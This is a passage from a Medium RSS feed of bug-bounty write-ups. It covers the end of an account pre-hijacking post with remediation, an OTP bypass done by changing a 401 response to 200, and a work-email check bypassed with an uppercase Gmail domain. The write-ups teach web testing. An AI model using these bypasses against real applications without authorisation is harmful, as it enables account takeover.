attacker’s persistence will remain.</li><li>An attacker would be able to see all the activities performed by the victim user impacting the confidentiality and attempt to modify/corrupt the data impacting the integrity and availability factor.</li><li>This attack becomes more interesting when an attacker can register an account from an employee’s email address. Assuming the organization uses G-Suite, it is much more impactful to hijack into an employee’s account.</li><li>The overall severity usually lies from High to Critical depending upon the data that is being stored.</li></ol><p><strong>Note: </strong>If the victim already has an account using social login on the application, this attack will most likely not work.</p><p><strong>Remediation</strong></p><ol><li>The easiest remediation to this issue is to ensure that the email verification is adequately implemented and can not be bypassed.</li><li>Further, by ensuring that the social logins are correctly implemented, the email extracted from the social login is verified against the existing user’s database to ensure that the victim asked to reset the password. By doing so, it is possible to remove the attacker’s persistence.</li></ol><p>To my fellow hunter, if you find any interesting finding then do share your ideas with community as it will help others to grow in this field.</p><p>A Big Thank to Mr. <a href="https://medium.com/u/54fa249211d2">Harsh Bothra</a> for the Awesome write ups and other Hunters who continuously share their knowledge by writeups and different sources as well.</p><p>Thank your for reading guys. Stay Safe.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=433764751cce" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OTP Bypass via response manipulation]]></title>
            <link>https://thehemdeep.medium.com/otp-bypass-via-response-manipulation-31a524f968cc?source=rss-a523e0eaae77------2</link>
            <guid isPermaLink="false">https://medium.com/p/31a524f968cc</guid>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Hemdeep Gamit]]></dc:creator>
            <pubDate>Sat, 13 Nov 2021 07:05:52 GMT</pubDate>
            <atom:updated>2021-11-13T12:07:35.268Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Hunters, today I&#39;m going tell about my one of the finding in which I&#39;m able to bypass the OTP page. So let’s begin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*l6M-6k_lRzANfzxX" /></figure><p>It’s an private program so, I&#39;m not disclose it’s name, let’s call as example.com</p><p>Now the example.com allows user to register and use it’s functionality but before that user have to enter the OTP to confirm the email.</p><p>I simply put the details on registration page and after submitting the data, I landed on OTP page.</p><p>It’s an <strong>4 </strong>digit OTP so it can be bruteforce but before that I&#39;ve tried <strong>0000 </strong>to check the proper validation because sometimes developers use <strong>0000 </strong>OTP as testing but unfortunately it did not accept.</p><p>Application throws an error “Incorrect code” with response code 401 Unauthorized.</p><p>Now I try second time and again enter wrong OTP and click in verify and intercept the response for this request and this time I&#39;ve just change the response status code from “<strong>401 Unauthorized</strong>” to “<strong>200 OK</strong>” and the OTP page was bypassed and I’m successfully logged in.</p><p>This happens because some application only rely on the server response to validate. Sometimes on status code or message, it depends on developers on coding style.</p><p>Stay Safe. So thank you for reading. :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=31a524f968cc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Email Validation Bypass]]></title>
            <link>https://thehemdeep.medium.com/email-validation-bypass-7a0c6ec2889c?source=rss-a523e0eaae77------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a0c6ec2889c</guid>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Hemdeep Gamit]]></dc:creator>
            <pubDate>Tue, 09 Nov 2021 13:00:49 GMT</pubDate>
            <atom:updated>2021-11-10T11:57:54.512Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Everyone, I’m Hemdeep Gamit, I&#39;m Security Researcher, I hope you’re all doing well, this my first article so please just do ignore my grammar as English is not my first language. So today I’m write this article about my last finding in which I’m able to bypass the email validation. So let’s start.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ApvmFu44gGQ7kX6y" /></figure><p>It’s an private program so I&#39;m not disclose its name. As usual I’ve just started with walking through the application(Unauthenticated), visit some pages manually and just jump into the <strong>Sign Up</strong> page.</p><p>It allows user to enter <strong>full name </strong>, <strong>work email</strong> and <strong>password </strong>for Sign Up. After that an OTP sends to the email address which is provided by user. I enter all the details but in email field I&#39;ve enter my <strong>Gmail </strong>address “myemail@gmail.com”. After that I click on Sign up button application doesn’t accept the personal mail and throw an error like below.</p><p>“<strong>Error: Please use you work email</strong>”</p><p>Now it’s time to test the validation :)</p><p>I just put work email as “<strong>myemail@GMAIL.com</strong>”</p><p>And the application accept the email and sends an OTP on that mail. LOL. The application only validate the corporate domains and personal mail address in lowercase only.</p><p>Stay Safe. Thank you for reading. :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a0c6ec2889c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>